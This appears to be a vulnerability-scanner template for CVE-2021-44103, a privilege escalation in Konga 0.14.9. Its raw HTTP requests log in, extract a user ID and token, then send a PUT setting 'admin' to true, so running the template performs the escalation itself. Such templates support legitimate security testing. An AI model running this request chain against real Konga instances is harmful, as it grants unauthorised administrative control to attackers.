id: CVE-2021-44103 info: name: KOGA 0.14.9 - Privilege Escalation author: rschio severity: high description: Vertical Privilege Escalation in KONGA 0.14.9 allows attackers to higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter. reference: - http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html - https://www.exploit-db.com/exploits/50521 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44103 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2021-44103 cwe-id: CWE-269 tags: cve,cve2021,konga,authenticated requests: - raw: - | POST /login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"password": "{{password}}", "identifier": "{{username}}"} - | POST /api/user/{{id}} HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Referer: {{BaseURL}} Content-Type: application/json;charset=utf-8 {"token": "{{token}}"} - | PUT /api/user/{{id}} HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Referer: {{BaseURL}} Content-Type: application/json;charset=utf-8 {"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"} req-condition: true matchers-condition: and matchers: - type: dsl dsl: - 'contains(body_2, "\"admin\":false")' - 'contains(body_3, "\"admin\":true")' condition: and - type: word part: header words: - "application/json" - type: status status: - 200 extractors: - type: regex part: body name: id internal: true group: 1 regex: - '"id":([0-9]+)' - type: regex part: body name: token internal: true group: 1 regex: - '"token":"(.*)"'